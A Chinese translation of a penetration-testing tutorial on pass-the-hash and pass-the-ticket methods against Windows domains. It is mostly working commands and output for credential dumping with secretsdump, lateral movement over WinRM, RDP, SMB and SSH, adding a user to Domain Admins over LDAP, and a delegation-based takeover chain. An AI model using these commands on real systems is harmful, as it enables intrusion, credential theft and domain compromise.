传递哈希的另类用法(pth)
2020-12-22 11:40:38 Author: xz.aliyun.com(查看原文) 阅读量:257 收藏

您还记得第一次passed the hash吗? 它可能有点像这样:

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045)

如果您不熟悉 Metasploit PSexec 模块

好吧,现在我们不再真的这样做。你可能会像这样做

cme smb 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79 -d domain.local
SMB     10.0.0.20   445  PC01   [*] Windows Server 2012 R2 Standard 9600 x64 (name:PC01) (domain:domain.local) (signing:False) (SMBv1:True)
SMB     10.0.0.20   445  PC01    [+] domain.local\user BD1C6503987F8FF006296118F359FA79 (Pwn3d!)

那就是使用CrackMapExec来传递哈希值。正如你可能已经知道,CrackMapExec的核心主要是impacket,默认的执行方法是使用wmiexec.py,可以使用如下的语法来通过impacket来单独使用它。

wmiexec.py domain.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

您会发现,基本上impacket的示例方法都允许您去传递哈希。

接下来我要谈的是一些对你来说比较新颖的传递哈希的方法。

WinRM

内容: 简要地说Windows远程管理(WinRM)是另一种远程管理WMI和其他类似协议的方法。并且使用一组不同的端口。WinRM使用5985端口(HTTP)或者5986(HTTPS)。

用途: 有时候你会发SMB没有打开, 或者某些终端保护阻止您使用标准的工具集。

作法: 可以使用包括CrackMapExec在内的各种工具来完成此操作,但现在我比较喜欢evil-winrm,因为它保护许多其他的特点。用evil-winrm 来传递hash非常容易,它看起来像这样:

ruby evil-winrm.rb -i 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79

Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\user\Documents>

资源:

https://pentestlab.blog/2018/05/15/lateral-movement-winrm/
https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/

RDP

内容: 远程桌面是一项程序或操作系统功能,它使客户能够连接到其他位置的计算机,查看该计算机的桌面并与它进行交互,就好像在本地计算机操作一样。

用途:通常,在渗透测试期间,你可能希望访问用户系统上安装的只能通过图形化界面使用的软件。这可能是通过GUI轻松导出的密码管理器或者是其他软件,这些软件可以执行原本不可能/难以使用操作。您可能想要传递无法无法破解的NT hash和接管他们的会话。

作法:你可以使用xfreerdp来传递哈希。但是,有一个重要的警告,那就是只有在系统启用了"受限管理模式"时才有可能。如果未启用该功能,而您尝试pth,则会收到一个错误信息,指出"帐户限制阻止该用户登录.默认情况下,"受限管理模式"为禁用状态。好消息是如果您具有对该系统的管理员访问权限以及对SMB/WinRM/等,则可以远程启用这个功能。

cme smb 10.0.0.200 -u Administrator -H 8846F7EAEE8FB117AD06BDD830B7586C -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
SMB 10.0.0.200 445 DESKTOP [*] Windows 10.0 Build 18362 x64 (name:DESKTOP) (domain:DESKTOP) (signing:False) (SMBv1:False)
SMB 10.0.0.200 445 DESKTOP [+] DESKTOP\Administrator 8846F7EAEE8FB117AD06BDD830B7586C (Pwn3d!)
SMB 10.0.0.200 445 DESKTOP [+] Executed command
SMB 10.0.0.200 445 DESKTOP The operation completed successfully.

一旦设置了注册表项,就可以使用xfreerdp传递哈希值

xfreerdp /v:192.168.2.200 /u:Administrator /pth:8846F7EAEE8FB117AD06BDD830B7586C

资源:

https://www.kali.org/penetration-testing/passing-hash-remote-desktop/
https://shellz.club/pass-the-hash-with-rdp-in-2019/
https:// labs。 f-secure.com/blog/undisable/

smbclient

内容: smbclient 是类似于FTP的客户端,用于与SMB/CIFS资源交互。

用途:尽管恢复了有效的哈希值,但有时您可能仍无权对系统进行管理访问。考虑如下场景:

你控制了一台主机并且转储了哈希,其中之一属于财务负责人。他们没有对基础结构的管理访问权,但可以访问文件服务器上搜集的保密数据。

作法:smbclient 拥有-pw-nt-hash 标志,可用于传递NT Hash

smbclient //10.0.0.30/Finance -U user --pw-nt-hash BD1C6503987F8FF006296118F359FA79 -W domain.local
Try "help" to get a list of possible commands.
smb: \>

LDAP

内容: Active Directory(活动目录)是Windows通用目录服务的实现,该服务使用LDAP作为其主要访问协议。

用途:通常,我发现最好的活动目录攻击链通常涉及利用ACLS。考虑一个常见的渗透测试场景:您已经获得对IT管理员组的用户的NT hash的访问权限,该管理员可以通过exchange 服务器进行管理员访问。您没有通过域控制器的管理员访问权限。Exchange服务器是Exchange Trusted Subsystem组的成员,而该组是Exchange Trusted Subsystem的组成员,这个组对域具有WriteDACL访问权限。同样重要的是,获取计算机账户和密码,并且这些密码实际上不可破解的,这就是为什么传递哈希值非常有用的原因。

作法:首先,为Exchange服务器恢复NT hash

secretsdump.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
DOMAIN\EXCHANGE$:aes256-cts-hmac-sha1-96:fbc8df96a7709ec33edc50d2d9394d8e28c6bc65697f9bdfaf78009850cfa69d
DOMAIN\EXCHANGE$:aes128-cts-hmac-sha1-96:fe0acc236a82bd74fdcaa593f51481f2
DOMAIN\EXCHANGE$:des-cbc-md5:cd4308d6f285fc82
DOMAIN\EXCHANGE$:aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248:::

拥有Exchange服务器的NT hash后,就可以用ldap3向域控制器进行身份验证,并通过传递哈希进行身份验证。从这里您可以执行很多操作,比如包括将控制的用户添加到Domain Admins组等简单攻击。在此示例中,您当然也可以使用Exchange账户通过secretsdump.py进行Dcsync。如果你只是获取到了Server Operators 组成员的NT hash,则将无法进行Dcsync,但可以使用此方法将用户添加到某些组以扩展访问权限。

python3
>>> import ldap3
>>> user = 'DOMAIN\\EXCHANGE$'
>>> password = 'aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248'
>>> server = ldap3.Server('DOMAIN.LOCAL')
from ldap3 import Server, Connection, SIMPLE, SYNC, ALL, SASL, NTLM
connection = ldap3.Connection(server, user=user, password=password, authentication=NTLM)
>>> connection.bind()
>>> from ldap3.extend.microsoft.addMembersToGroups import ad_add_members_to_groups as addUsersInGroups
>>> user_dn = 'CN=IT User,OU=Standard Accounts,DC=domain,DC=local'
>>> group_dn = 'CN=Domain Admins,CN=Users,DC=domain,DC=local'
>>> addUsersInGroups(connection, user_dn, group_dn)
True

资源:

https://pentestlab.blog/2019/09/12/microsoft-exchange-acl/

Pass the Ticket

内容: 通过票证(ptT) 是一种使用Kerberos票证对系统进行身份验证的方法,而无需访问账户密码。

用途:可能无法通过NTLM进行身份验证,并且仅允许Kerberos身份验证。我甚至不会尝试去介绍Kerberos协议如何工作(真心地说我也没很好掌握它),但是了解如何在攻击中使用它非常有用。

作法:在Linux上创建Kerberos票据的一般做法是使用带有用户名、域和密码的kinit。如果您没有密码,这是一个问题。幸运地是,impacket 有一个工具,允许您使用NT哈希从域控制器中获取有效的票证授予票证(TGT).不幸地是,Linux发行版通常没有安装Kerberos工具,您需要对其进行设置。

  • 安装Kerberos软件包
  • 配置AD领域
  • 使DNS正常工作
  • 同步time

要使用NT hash创建Kerberos的TGT,请运行如下命令:

python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user

Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Saving ticket in user.ccache

您将需要将票证复制到/tmp/krb5cc_0,因为许多工具都在该位置查找票证。你同意需要将KRB5CCNAME 环境变量设置为票据所在的位置,因为某些工具使用它来寻找票据的位置。

cp user.ccache /tmp/krb5cc_0
export KRB5CCNAME=/tmp/krb5cc_0

你可以使用klist验证票据。

klist
Credentials cache: FILE:/tmp/krb5cc_0
Principal: [email protected]

Issued                Expires               Principal

现在,您已经有了凭证,可以将其与所有impacket工具一起使用,用来提供密码或者NT哈希的备选方案。正如你接下来看到的那样,这将在某些特定情况下非常有用。请注意,无论何时使用Kerberos身份验证,您都将要使用目标的DNS名称而不是IP地址。(*坑点)

资源:

https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf

Mount

内容:在Linux上,可以选择cifs挂载方式的工具将windows共享安装在本地目录树中特点的位置上。

用途:虽然我们可以使用smbclient传递哈希,但其类似FTP的接口可能会受到限制.挂载共享通常更有用,这样你就可以通过Linux命令行或GUI文件浏览器与之交互。为了增加用户体验,你甚至可以使用SSHFS公开此挂载点,因此您可以在本地Windows或Mac文件浏览器的舒适环境下浏览共享。

作法:挂载共享时,您不能传递哈希, 但可以连接Kerberos票证(通过传递哈希获得)。使用类似于如下的命令来安装共享。如果失败,并显示错误"No such file or directory",这通常意味着您的票据不合法,或者权限不允许挂载查看。

sudo mount -t cifs -o sec=krb5,vers=3.0 '//SERVER.DOMAIN.LOCAL/SHARE' /mnt/share

ssh

内容: SSH协议(也成为Secure Shell)是一种用于从一台计算机到另一台计算机进行安全远程登录的方法。

用途:SSH是登录Unix和Linux系统的标准方法。windows的所有exec方法都不可用。通常,唯一真正远程访问这些系统的方法是通过SSH协议。在大型组织中,我经常发现Linux系统会被加进活动目录中。如果你有很多域组,请搜索他们以查看名称中是否包含unix/linux,这说明unix/linux系统可能已经加入域了。

作法:您无法将哈希传递给SSH,但是可以与Kerberos票证(通过传递哈希得到)连接。首先尝试,使用SSH链接并启用详细信息。

ssh -o GSSAPIAuthentication=yes [email protected] -vv
debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
debug1: Next authentication method: gssapi-with-mic
debug1: Unspecified GSS failure.  Minor code may provide more information
No Kerberos credentials available (default cache: FILE:/tmp/krb5cc_1045)

您可能会看到它在其他地方期待krb5票据(取决于您的UID),因此将票证移到那里。

cp user.ccache /tmp/krb5cc_1045

一旦将你的票据放置正确,尝试再去连接。如果仍然没有起作用,还可以使用 -l 来指定用户名。

ssh -o GSSAPIAuthentication=yes [email protected]

[user@computer ~]$

基于资源的约束委派(RBCD)

内容:如果您对计算机具有写特权(WriteDACL, GenericWrite, GenericAll等).则可以在该对象获取的提升权限的命令执行力。

这不是将哈希传递到前面提到之外的新方法,但是此攻击链结合了多种PTH技术,比如通过SMB进行PTH,将PTH传递给LDAP,PTH获取Kerberos票据,并最终通过票证。

在此实例中,我们假设一个计算机对象具有对另一计算机对象的写权限。

用途:通常,我发现的环境中没有简单的攻击路径,并且活动目录的权限提升需要基于ACL的攻击。

作法:

首先,将具有管理访问权限的用户的Hash传递到第一台计算机,以恢复该计算机的NT Hash

secretsdump.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
DOMAIN\$:aes256-cts-hmac-sha1-96:fbc8df96a7709ec33edc50d2d9394d8e28c6bc65697f9bdfaf78009850cfa69d
DOMAIN\PC01$:aes128-cts-hmac-sha1-96:fe0acc236a82bd74fdcaa593f51481f2
DOMAIN\PC01$:des-cbc-md5:cd4308d6f285fc82
DOMAIN\PC01$:aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248:::

第二 使用rbcd_permissions 脚本通过LDAP将计算机账户的哈希传递到控制器,用于更新第二台计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性。浙江允许第一台计算机模拟该系统上任何的域用户。

python3 rbcd.py -u PC01$ -H aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -t 'CN=PC02,CN=Computers,DC=domain,DC=local' -d domain.local -c 'CN=PC01,CN=Computers,DC=domain,DC=local'  -l DC1.domain.local
Successfully added permissions!

使用impacket的 getST.py脚本使用第一台计算机的hash去为第二台计算机创建一个管理员权限的服务票据。

getST.py -spn cifs/PC02 -hashes aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -impersonate DA domain.local/PC01\$ 
[*] Getting TGT for user
[*] Impersonating DA
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in DA.ccache

创建票据后,ptt到第二台计算机以获得对他的管理访问权限。转储哈希值,反弹shell或者做任何你想要在该系统做的事情。

资源:

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
https://www.thehacker.recipes/active-directory-domain-services/movement/abusing-kerberos/kerberos-delegations#resource-based-constrained-delegations-rbcd

总结

无论有/无传递hash以及Linux/Window的情况, 都有许多执行上述操作的方法。但是我想展示一下我发现的在传递哈希值非常有用的方法。由于开放源代码工具(OST)开发人员以及对这些技术进行了详细描述的博客作者的出色工作,使得很多事情都是可能的。

本文为翻译文章,原文链接:https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/


文章来源: http://xz.aliyun.com/t/8665
如有侵权请联系:admin#unsafe.sh